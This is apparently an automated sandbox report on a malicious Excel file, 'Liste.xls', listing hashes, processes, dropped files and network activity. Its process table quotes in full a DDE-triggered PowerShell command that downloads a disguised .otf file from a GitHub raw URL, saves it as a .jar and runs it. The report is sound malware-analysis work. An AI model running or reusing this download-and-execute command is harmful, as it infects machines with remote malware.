File name: | Liste.xls |
Full analysis: | https://app.any.run/tasks/5336bad3-8399-49c2-b0b2-3cc8981f06cd |
Verdict: | Malicious activity |
Analysis date: | October 14, 2019, 07:14:45 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Indicators: | |
MIME: | text/plain |
File info: | ASCII text, with very long lines, with CRLF line terminators |
MD5: | 31EDE468F558EE3B801697175A7093CA |
SHA1: | 738F15656B87CE429C789A4F1A2ED44C38BECBFA |
SHA256: | 9FFC6EB8EF7EE0D68DB909F7794AF909F82B957FB5695600B56FF897B221998F |
SSDEEP: | 384:lddYddAdQZQWWqWdTCPTCPTCP/CPTCPTCPhPTCdrR7rR7rRJrR7rR7rR7rRX0:l444c44VCrJrJrHrJrJrJrJ0 |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
944 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Version: 14.0.6024.1000 | ||||
2876 | CMD.EXE /c powershell -command "& { (new-object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/3700861/t8uqwafoh/gh-pages/4ekm951.otf\" ,\" %tmp%\\tsP5O8.jar\") }" & %tmp%\\tsP5O8.jar | C:\Windows\system32\CMD.EXE | — | EXCEL.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
328 | powershell -command "& { (new-object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/3700861/t8uqwafoh/gh-pages/4ekm951.otf\" ,\" C:\Users\admin\AppData\Local\Temp\\tsP5O8.jar\") }" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | CMD.EXE | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
3288 | "C:\Program Files\Java\jre1.8.0_92\bin\javaw.exe" -jar "C:\Users\admin\AppData\Local\Temp\tsP5O8.jar" | C:\Program Files\Java\jre1.8.0_92\bin\javaw.exe | — | CMD.EXE |
User: admin Company: Oracle Corporation Integrity Level: MEDIUM Description: Java(TM) Platform SE binary Exit code: 0 Version: 8.0.920.14 |
PID | Process | Filename | Type | |
---|---|---|---|---|
944 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVRA708.tmp.cvr | — | |
MD5:— | SHA256:— | |||
328 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KK4LYGLJZTUWFKWSJ93B.temp | — | |
MD5:— | SHA256:— | |||
328 | powershell.exe | C:\Users\admin\AppData\Local\Temp\tsP5O8.jar | compressed | |
MD5:EED50F9502932D9A2C1F9811F806FAE5 | SHA256:AA0EB013944B4633C85DBE5C2612367E895782868371F3F0E3B1195E8FC0D219 | |||
328 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF39e866.TMP | binary | |
MD5:35375F3D71AE42AA9777154D256B33BF | SHA256:BCFF55E0934722E7952EA75D73AE7CE376E4ADBC73DE5E71D629975E9EAC87EF | |||
3288 | javaw.exe | C:\Users\admin\.oracle_jre_usage\90737d32e3abaa4.timestamp | text | |
MD5:BD64183A912B0D019F4176638C1CF483 | SHA256:8928A871CFAA7B789E50BC3CA5EFEFB9EE59C558D22E6827704469138C9506A1 | |||
328 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:35375F3D71AE42AA9777154D256B33BF | SHA256:BCFF55E0934722E7952EA75D73AE7CE376E4ADBC73DE5E71D629975E9EAC87EF |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
328 | powershell.exe | 151.101.0.133:443 | raw.githubusercontent.com | Fastly | US | malicious |
Domain | IP | Reputation |
---|---|---|
raw.githubusercontent.com |
| shared |